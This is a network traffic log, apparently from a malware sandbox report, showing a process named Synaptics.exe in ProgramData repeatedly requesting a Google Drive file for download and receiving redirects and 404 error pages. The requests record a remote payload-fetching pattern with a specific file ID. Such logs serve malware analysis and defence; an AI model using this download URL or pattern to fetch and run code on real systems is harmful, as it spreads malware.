2024-12-30 03:59:28 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 4e 57 6a 55 4b 4a 34 5f 54 4f 6f 57 67 34 73 4d 68 6c 32 5a 2d 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="NWjUKJ4_TOoWg4sMhl2Z-Q">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2024-12-30 03:59:28 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.4	49850	142.250.186.129	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:27 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
2024-12-30 03:59:28 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC7u95LCBikf2VrlPZgsV-yI6nxuqMn2Ojd7VJ5HUViP0ZCF2RixzeZv0yho1ewOmz7H Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 03:59:27 GMT Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'report-sample' 'nonce-z7XQUqKBFeWkyxMcf_-bXQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-30 03:59:28 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2024-12-30 03:59:28 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 50 36 71 39 75 58 67 6e 48 35 4f 42 46 5a 4e 41 31 49 77 69 6f 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="P6q9uXgnH5OBFZNA1IwioA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2024-12-30 03:59:28 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.4	49855	142.250.181.238	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:28 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
2024-12-30 03:59:29 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 03:59:28 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-P1Fz65zWOE-ud9pl_6CLow' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.4	49854	142.250.181.238	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:28 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
2024-12-30 03:59:29 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 03:59:29 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-RIe_VXwCtSriN_ZweBl1SQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.4	49857	142.250.186.129	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:28 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
2024-12-30 03:59:29 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC4aikY1hqp2JJwd_UVjRDghR_eADDFrb1kjxIdoXxulk6H0qKleGVRTUJNzv2Grlb4iH4J0CYE Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 03:59:29 GMT Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-wcZe5jZLEzFE417kITNx4A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-30 03:59:29 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2024-12-30 03:59:29 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 4d 43 53 67 34 75 4e 75 77 6e 72 72 45 31 55 68 70 4f 56 5f 62 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="MCSg4uNuwnrrE1UhpOV_bA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2024-12-30 03:59:29 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.4	49856	142.250.186.129	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:28 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
2024-12-30 03:59:29 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC6crF2b7FSSTausPhad_4aDlZpOp8Brm48BUTsUxCBmURGshwiTp9F1tflMuoY3Q8yL Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 03:59:29 GMT Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-LvSAwuG9HlrbjnO4JLmlYw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-30 03:59:29 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2024-12-30 03:59:29 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 49 4f 30 37 47 46 73 47 72 51 65 56 54 35 77 49 31 67 6b 74 48 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="IO07GFsGrQeVT5wI1gktHA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2024-12-30 03:59:29 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.4	49858	142.250.181.238	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:29 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
2024-12-30 03:59:30 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 03:59:29 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-eCG07fxGia1pc9tFJV8DHw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.4	49861	142.250.181.238	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:29 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
2024-12-30 03:59:30 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 03:59:30 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-toqfGT81Ht16fckrYy6YxA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.4	49863	142.250.186.129	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:29 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
2024-12-30 03:59:30 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC6EPYnsdxaBmwEzi3oy1xasAkPzCYoNSGeyMsE1cGSNvC1X7G2LjMv8A-wfiQsKaUpEsVzlc10 Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 03:59:30 GMT Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-Vgj3aQ7owv7-FjrEcxeqhQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
